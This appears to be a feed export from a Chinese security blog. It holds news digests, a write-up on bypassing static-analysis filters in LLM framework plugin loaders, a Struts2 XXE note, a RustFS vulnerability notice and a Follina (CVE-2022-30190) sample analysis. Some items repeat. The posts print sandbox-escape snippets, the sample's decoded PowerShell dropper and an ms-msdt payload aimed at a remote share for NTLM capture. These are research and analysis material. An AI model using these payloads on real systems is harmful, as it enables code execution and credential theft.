xiaohack's Blog - cve
type: channel
link: https://blog.xiaohack.org/tag/cve/
items: 派早报：高铁客服和专家回应「高铁二氧化碳超标」
items: 从某BAT大厂开源框架实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞
items: Struts2 CVE
items: RustFS 发布新漏洞，评分 9.9
items: CVE-2022-30190 样本分析与漏洞复现

派早报：高铁客服和专家回应「高铁二氧化碳超标」
type: item
date: 2026-01-26T10:03:08+08:00
description: 高铁客服和专家回应「高铁二氧化碳超标」据新京报等报道，近日，一条在高铁二等座车厢内测二氧化碳浓度的视频引发网友热议，视频画面显示：乘客入座前，车厢内二氧化碳浓度在 880ppm（百万分之一，浓度单位）左右浮动；乘客入座过程中，二氧化碳浓度已经开始上涨；行驶一段距离后，车厢内二氧化碳浓度已超过 2000ppm，此时画面中的多数乘客也已进入睡眠状态。该报道指出，据国内现行的《室内空气质量标准》规定，室内二氧化碳（CO₂）浓度的标准限值为 ≤ 1000ppm（即 ≤ 0.1%），视频中车厢内的二氧化碳浓度已经远远超过这一限值。对此，不同 12306 客服给出了各种说法。一名客服表示，如果在旅行途中感到不适可以「自行吸氧」。另一位客服则称「目前没有这个标准」。还有客服表示，行驶过程中会实时更换空气，出发以及到站后都会做系统检查，空气方面肯定是没有问题的，二氧化碳浓度变高可能是因为乘客密度变高。随后，新华社采访了来自动车组制造厂商、中车青岛四方机车车辆股份有限公司的动车组专家陶桂东。陶桂东介绍，我国旅客列车室内二氧化碳浓度控制标准执行 TB/T 3493-2017《铁道车辆空调 空调压力保护装置》，正常运行工况下标准限值为不超过 2500ppm，欧洲标准则规定不超过 5000ppm。网友对照的民用建筑标准不适用于旅客列车。陶桂东还说，动车组车内换气完全由空调通风系统实现，在非隧道区段运行时，可实现连续换气，二氧化碳浓度一般不超过 1500ppm；当通过连续隧道群时，会采取压力保护动作关闭与车外空气的通道，车厢内二氧化碳浓度短时间内会有所升高。因不堪 AI 骚扰，cURL 将终止漏洞赏金计划1 月 22 日，全球知名的开源网络传输工具 cURL 宣布，将于本月底正式终止其漏洞赏金计划。cURL 官网更新后的 security.txt（业内惯常用于说明提交安全报告渠道的文件）现在写道，「我们对于报告的问题不提供任何奖励或其他形式的补偿，但会在确认问题的文档中明确表达感谢与认可。如果你用垃圾报告浪费我们的时间，我们会将你封禁并公示嘲讽（ridicule you in public）。」对此，项目创始人兼首席开发者 Daniel Stenberg 表示，近期收到大量由人工智能生成的低质量漏洞报告，导致项目维护团队不堪重负。为了确保团队成员的「心理健康」以及项目的正常维系，官方不得不做出这一决定。长期以来，cURL 团队像许多软件开发商一样，通过现金奖励激励外部研究人员提交高严重性的安全漏洞。然而，自去年五月以来，Stenberg 便警告称 AI 生成的垃圾信息（slop）正在激增。大量投机者盲目使用大语言模型生成报告，其中充斥着幻觉，包括虚构的 CVE 编号、不存在的函数签名，甚至根本无法编译的代码片段。这些无效信息迫使维护者花费大量精力进行甄别和排查。尽管拥有庞大的用户基础，cURL 实际上仍是由少量核心维护者运作的小型开源项目。Stenberg 表示，团队无力改变人们滥用 AI 工具的现状，只能通过切断激励源头来应对这一冲击。值得注意的是，项目方并非完全排斥 AI 辅助的安全研究。Stenberg 曾在去年九月公开赞扬过一位研究人员利用 AI 代码分析工具（ZeroPath）发现并协助修复了 22 个真实漏洞。他强调，问题的核心不在于工具本身，而在于那些不仅不懂代码、还对 AI 输出结果缺乏基本核查便直接提交的投机行为。联通推出「果粉」卡套餐1 月 23 日，联通宣布推出「果粉·王卡」套餐。该产品是「天王卡 3.0」套餐的衍生版本，核心卖点在于将 AppleCare Services 权益整合进通信资费中。套餐首年优惠月费为 49 元，用户在激活号卡并首充 50 元后，可获得最长 24 个月的权益服务，其中包括无限次的前屏意外保修、电池免费更换（当容量低于 80% 时）以及 Apple 官方认证的技术支持。在基础通信资费方面，该套餐每月包含 30GB 专属流量、20GB 通用流量以及活动赠送的 30GB 通用流量。联通还重点宣传了支持 eSIM、手表与手机「一号双终端」，以及 9.9 元/天的国际漫游包等特性。根据权益细则，用户须在号卡激活后的 90 天内领取 AppleCare Services，绑定的 iPhone 必须为激活时间在 30 天以内的国行新机，并需校验 IMEI 码。系统每月会校验用户资格，若套餐月费实付低于 59 元或处于非正常在网状态，当月的 AppleCare 权益将自动失效。如果用户不选择领取 AppleCare Services，也可以选择腾讯视频、爱奇艺、QQ 音乐等互联网会员权益。值得指出，不同于苹果官方渠道销售的 AppleCare+，AppleCare Services 是苹果通过供应商提供的一种保护计划…

派早报：高铁客服和专家回应「高铁二氧化碳超标」
type: item
date: 2026-01-26T10:02:52+08:00
description: 高铁客服和专家回应「高铁二氧化碳超标」据新京报等报道，近日，一条在高铁二等座车厢内测二氧化碳浓度的视频引发网友热议，视频画面显示：乘客入座前，车厢内二氧化碳浓度在 880ppm（百万分之一，浓度单位）左右浮动；乘客入座过程中，二氧化碳浓度已经开始上涨；行驶一段距离后，车厢内二氧化碳浓度已超过 2000ppm，此时画面中的多数乘客也已进入睡眠状态。该报道指出，据国内现行的《室内空气质量标准》规定，室内二氧化碳（CO₂）浓度的标准限值为 ≤ 1000ppm（即 ≤ 0.1%），视频中车厢内的二氧化碳浓度已经远远超过这一限值。对此，不同 12306 客服给出了各种说法。一名客服表示，如果在旅行途中感到不适可以「自行吸氧」。另一位客服则称「目前没有这个标准」。还有客服表示，行驶过程中会实时更换空气，出发以及到站后都会做系统检查，空气方面肯定是没有问题的，二氧化碳浓度变高可能是因为乘客密度变高。随后，新华社采访了来自动车组制造厂商、中车青岛四方机车车辆股份有限公司的动车组专家陶桂东。陶桂东介绍，我国旅客列车室内二氧化碳浓度控制标准执行 TB/T 3493-2017《铁道车辆空调 空调压力保护装置》，正常运行工况下标准限值为不超过 2500ppm，欧洲标准则规定不超过 5000ppm。网友对照的民用建筑标准不适用于旅客列车。陶桂东还说，动车组车内换气完全由空调通风系统实现，在非隧道区段运行时，可实现连续换气，二氧化碳浓度一般不超过 1500ppm；当通过连续隧道群时，会采取压力保护动作关闭与车外空气的通道，车厢内二氧化碳浓度短时间内会有所升高。因不堪 AI 骚扰，cURL 将终止漏洞赏金计划1 月 22 日，全球知名的开源网络传输工具 cURL 宣布，将于本月底正式终止其漏洞赏金计划。cURL 官网更新后的 security.txt（业内惯常用于说明提交安全报告渠道的文件）现在写道，「我们对于报告的问题不提供任何奖励或其他形式的补偿，但会在确认问题的文档中明确表达感谢与认可。如果你用垃圾报告浪费我们的时间，我们会将你封禁并公示嘲讽（ridicule you in public）。」对此，项目创始人兼首席开发者 Daniel Stenberg 表示，近期收到大量由人工智能生成的低质量漏洞报告，导致项目维护团队不堪重负。为了确保团队成员的「心理健康」以及项目的正常维系，官方不得不做出这一决定。长期以来，cURL 团队像许多软件开发商一样，通过现金奖励激励外部研究人员提交高严重性的安全漏洞。然而，自去年五月以来，Stenberg 便警告称 AI 生成的垃圾信息（slop）正在激增。大量投机者盲目使用大语言模型生成报告，其中充斥着幻觉，包括虚构的 CVE 编号、不存在的函数签名，甚至根本无法编译的代码片段。这些无效信息迫使维护者花费大量精力进行甄别和排查。尽管拥有庞大的用户基础，cURL 实际上仍是由少量核心维护者运作的小型开源项目。Stenberg 表示，团队无力改变人们滥用 AI 工具的现状，只能通过切断激励源头来应对这一冲击。值得注意的是，项目方并非完全排斥 AI 辅助的安全研究。Stenberg 曾在去年九月公开赞扬过一位研究人员利用 AI 代码分析工具（ZeroPath）发现并协助修复了 22 个真实漏洞。他强调，问题的核心不在于工具本身，而在于那些不仅不懂代码、还对 AI 输出结果缺乏基本核查便直接提交的投机行为。联通推出「果粉」卡套餐1 月 23 日，联通宣布推出「果粉·王卡」套餐。该产品是「天王卡 3.0」套餐的衍生版本，核心卖点在于将 AppleCare Services 权益整合进通信资费中。套餐首年优惠月费为 49 元，用户在激活号卡并首充 50 元后，可获得最长 24 个月的权益服务，其中包括无限次的前屏意外保修、电池免费更换（当容量低于 80% 时）以及 Apple 官方认证的技术支持。在基础通信资费方面，该套餐每月包含 30GB 专属流量、20GB 通用流量以及活动赠送的 30GB 通用流量。联通还重点宣传了支持 eSIM、手表与手机「一号双终端」，以及 9.9 元/天的国际漫游包等特性。根据权益细则，用户须在号卡激活后的 90 天内领取 AppleCare Services，绑定的 iPhone 必须为激活时间在 30 天以内的国行新机，并需校验 IMEI 码。系统每月会校验用户资格，若套餐月费实付低于 59 元或处于非正常在网状态，当月的 AppleCare 权益将自动失效。如果用户不选择领取 AppleCare Services，也可以选择腾讯视频、爱奇艺、QQ 音乐等互联网会员权益。值得指出，不同于苹果官方渠道销售的 AppleCare+，AppleCare Services 是苹果通过供应商提供的一种保护计划…

从某BAT大厂开源框架实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞
type: item
date: 2026-01-19T20:33:54+08:00
description: 从某实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞最近在研究LLM集成应用框架时，在审计某BAT大厂的github18k大型开源LLM集成应用框架项目时发现了一处隐蔽的加载漏洞，虽然开发者打过了防御补丁，但仍然可进行绕过并已提交CVE。遂深入进行了该类型的漏洞在LLM集成应用框架中的探究，供师傅们交流指点...1.归纳攻击路径随着 AI 从“聊天机器人”向“自主智能体（Agentic AI）”演进，许多LLM 集成应用框架成为了连接大模型与物理世界的桥梁。这些框架通过插件（Plugins）和工具（Tools）赋予了模型执行代码、访问数据库的能力。然而，这种能力的赋予也导致了一个极度隐蔽的代码注入：在这些框架通用的插件加载机制中，存在一个系统性的RCE漏洞——即便开发者部署了看似严密的静态分析安全审查，攻击者依然能利用“加载时执行”的特性，将恶意载荷伪装成功能扩展，实现对服务器的完全接管。我在审计了多个LLM应用框架后首先归纳总结一下该类加载漏洞的经典污染点流路径在 LLM 集成应用中，插件系统通常被设计为“动态可扩展”，这一类漏洞通常遵循一个通用的“受污染路径”： Source：框架暴露文件上传接口（如插件/工具安装包）。这些接口往往缺乏严格的身份验证，或被认为是“低风险”的操作入口。 Static Analysis WAF：系统在保存代码前，会调用安全模块对 Python 文件进行静态扫描（如 AST 校验、沙箱执行）。它试图识别并拦截 subprocess 或 os.system 等敏感调用。 Pyjail: 由于 Python是动态语言，攻击者可以利用动态导入、继承链等特性绕过AST静态扫描、hook和沙箱逃逸等 Sink：为了让插件生效，框架必须执行“扫描与刷新（Refresh/Scan）”。在这个过程中，系统会尝试 导入加载 这些模块导致poc执行。 2 逃脱静态分析的艺术这一部分和师傅们经常遇到的CTF的Pyjail挑战中相似：在 AI 应用框架中，针对插件源码的“语义审查”通常包括：禁用敏感库（如 os, subprocess）、拦截敏感函数调用（如 eval, exec）以及限制魔术属性访问（如 subclasses）。最基础的审查通常使用 ast.Name 或 ast.Attribute 来匹配关键词。攻击者可以通过字符串混淆和 getattr 动态重建调用链。利用字符串拼接或反转绕过特征匹配。# 绕过拦截器对 "os" 和 "system" 的直接检索 m = __import__('o' + 's') f = getattr(m, 'metsys'[::-1]) f('whoami') 2.1 利用Python继承链如果框架完全禁用了导入机制，攻击者会转向 Python 的内建对象体系。通过查找 object 的子类，可以在不直接引入任何库的情况下，从内存中“捞出”具备系统执行能力的模块。 从元组或列表的类对象出发，通过 mro 回溯到基类，再通过 subclasses 遍历所有加载到内存的类。 # 静态分析器只能看到属性访问，无法预测结果会指向危险函数 # 寻找 site._Printer 或 os._wrap_close 等带有执行能力的类 for c in ().__class__.__base__.__subclasses__(): if c.__name__ == 'os._wrap_close': # 从该类的全局变量中直接提取并执行命令 c.__init__.__globals__['system']('id') [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"] #_wrap_close [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") 2.2 Encode静态审计工具在处理字符串常量时，通常只能看到字面值。攻击者可以利用 base64、hex 或 unicode 变体，将 Payload 转化为为一串看似无意义的杂乱字符进行绕过。 将恶意逻辑序列化。由于许多 AI 框架本身支持序列化处理（用于传输模型参数或配置），这为 Payload 提供了天然的保护色。 exec("print('RCE'); __import__('os').syst…

从某BAT大厂开源框架实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞
type: item
date: 2026-01-16T09:04:45+08:00
description: 从某实战审计揭秘 LLM 集成框架中的隐蔽加载漏洞最近在研究LLM集成应用框架时，在审计某BAT大厂的github18k大型开源LLM集成应用框架项目时发现了一处隐蔽的加载漏洞，虽然开发者打过了防御补丁，但仍然可进行绕过并已提交CVE。遂深入进行了该类型的漏洞在LLM集成应用框架中的探究，供师傅们交流指点...1.归纳攻击路径随着 AI 从“聊天机器人”向“自主智能体（Agentic AI）”演进，许多LLM 集成应用框架成为了连接大模型与物理世界的桥梁。这些框架通过插件（Plugins）和工具（Tools）赋予了模型执行代码、访问数据库的能力。然而，这种能力的赋予也导致了一个极度隐蔽的代码注入：在这些框架通用的插件加载机制中，存在一个系统性的RCE漏洞——即便开发者部署了看似严密的静态分析安全审查，攻击者依然能利用“加载时执行”的特性，将恶意载荷伪装成功能扩展，实现对服务器的完全接管。我在审计了多个LLM应用框架后首先归纳总结一下该类加载漏洞的经典污染点流路径在 LLM 集成应用中，插件系统通常被设计为“动态可扩展”，这一类漏洞通常遵循一个通用的“受污染路径”： Source：框架暴露文件上传接口（如插件/工具安装包）。这些接口往往缺乏严格的身份验证，或被认为是“低风险”的操作入口。 Static Analysis WAF：系统在保存代码前，会调用安全模块对 Python 文件进行静态扫描（如 AST 校验、沙箱执行）。它试图识别并拦截 subprocess 或 os.system 等敏感调用。 Pyjail: 由于 Python是动态语言，攻击者可以利用动态导入、继承链等特性绕过AST静态扫描、hook和沙箱逃逸等 Sink：为了让插件生效，框架必须执行“扫描与刷新（Refresh/Scan）”。在这个过程中，系统会尝试 导入加载 这些模块导致poc执行。 2 逃脱静态分析的艺术这一部分和师傅们经常遇到的CTF的Pyjail挑战中相似：在 AI 应用框架中，针对插件源码的“语义审查”通常包括：禁用敏感库（如 os, subprocess）、拦截敏感函数调用（如 eval, exec）以及限制魔术属性访问（如 subclasses）。最基础的审查通常使用 ast.Name 或 ast.Attribute 来匹配关键词。攻击者可以通过字符串混淆和 getattr 动态重建调用链。利用字符串拼接或反转绕过特征匹配。# 绕过拦截器对 "os" 和 "system" 的直接检索 m = __import__('o' + 's') f = getattr(m, 'metsys'[::-1]) f('whoami') 2.1 利用Python继承链如果框架完全禁用了导入机制，攻击者会转向 Python 的内建对象体系。通过查找 object 的子类，可以在不直接引入任何库的情况下，从内存中“捞出”具备系统执行能力的模块。 从元组或列表的类对象出发，通过 mro 回溯到基类，再通过 subclasses 遍历所有加载到内存的类。 # 静态分析器只能看到属性访问，无法预测结果会指向危险函数 # 寻找 site._Printer 或 os._wrap_close 等带有执行能力的类 for c in ().__class__.__base__.__subclasses__(): if c.__name__ == 'os._wrap_close': # 从该类的全局变量中直接提取并执行命令 c.__init__.__globals__['system']('id') [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"] #_wrap_close [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls") 2.2 Encode静态审计工具在处理字符串常量时，通常只能看到字面值。攻击者可以利用 base64、hex 或 unicode 变体，将 Payload 转化为为一串看似无意义的杂乱字符进行绕过。 将恶意逻辑序列化。由于许多 AI 框架本身支持序列化处理（用于传输模型参数或配置），这为 Payload 提供了天然的保护色。 exec("print('RCE'); __import__('os').syst…

Struts2 CVE
type: item
date: 2026-01-15T14:24:43+08:00
description: 返回文档 组件简介 Apache Struts 是一个用于创建 Java Web 应用程序的免费开源 Web 框架。 复现版本 6.0.3 分析过程 应该是这个洞 6.1.0 和 6.1.1 的 diff 没看出来哪儿修了 https://github.com/apache/struts/pull/628/commits/6658c6360e771a793ab261e5b4d3ed9dfb6720d3 从这来看 6.1.0 已经修了 不在影响范围内 首先是 xwork 组件 DomHelper#parse 在 6.0.3 中是没有关闭外部实体解析的 最终会调到JAXPSAXParser#parse 复现过程如下 修复后(6.1.0) 参考 https://github.com/apache/struts/pull/628/commits/6658c6360e771a793ab261e5b4d3ed9dfb6720d3 https://cwiki.apache.org/confluence/display/WW/S2-069 ​

RustFS 发布新漏洞，评分 9.9
type: item
date: 2026-01-08T12:13:55+08:00
description: GitHub RustFS Path Traversal Vulnerability# RustFS Path Traversal Vulnerability ## Vulnerability Details - **CVE ID**: - **Severity**: Critical (CVSS estimated 9.9) - **Impact**: Arbitrary File Read/Write - **Component**: `/rustf... 继硬编码凭据之后的另一个高分漏洞，获得 9.9 的高分，高于硬编码凭据 9.8上一个硬编码凭据漏洞📌 转载信息来源： https://linux.do/t/topic/1418841原作者： vxtls转载时间： 2026/1/8 12:13:52

CVE-2022-30190 样本分析与漏洞复现
type: item
date: 2022-07-01T23:23:18+08:00
description: 前言近期新爆出的漏洞office的0day，利用msdt+远程加载CVE:CVE-2022-30190样本地址：https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/#简单分析无VBA，远程加载doc改名zip解压，搜索远程加载的地址定位到word_rels\document.xml.rels通过查看app.any.run沙箱捕获的请求地址内容，查看如下中间的内容是一段powershell，解码后如下 //////////////////// powershell IEX运行 $(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'[binary]'+[char]34+'))')))) /////////////////// base64解码内容： $cmd = "c:\windows\system32\cmd.exe"; Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe"; # 隐藏窗口杀死msdt.exe Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe"; # 进入public目录，循环遍历 RAR 文件中的文件，查找编码 CAB 文件的 Base64 字符串 将此 Base64 编码的 CAB 文件存储为1.t 解码Base64编码的CAB文件保存为1.c 将1.c CAB文件展开到当前目录，最后： 执行rgb.exe（大概压缩在1.c CAB文件里面）运行了rgb.exe后会释放几个文件，最后调用csc编译(cs太长了就不贴出来了)msdt微软官方参数解释如下：param参数貌似微软没公开怎么调用，只给了架构图漏洞复现参考链接：https://huntress.com/blog/microsoft-office-remote-code-execution-follina-msdt-bughttps://benjamin-altpeter.de/shell-openexternal-dangers/https://github.com/JohnHammond/msdt-follinatips:html注释内容不能少于4096字节将原payload修改为以下可以远程请求获取NTLMms-msdt:-id PCWDiagnostic /moreoptions false /skip true /param IT_BrowseForFile="\\\\192.168.92.129\\sharp\\calc.exe" /param IT_SelectProgram="NotListed" /param IT_AutoTroubleshoot="ts_AUTO" 执行命令和上线踩坑：powershell语句太长base64编码执行不成功报错如下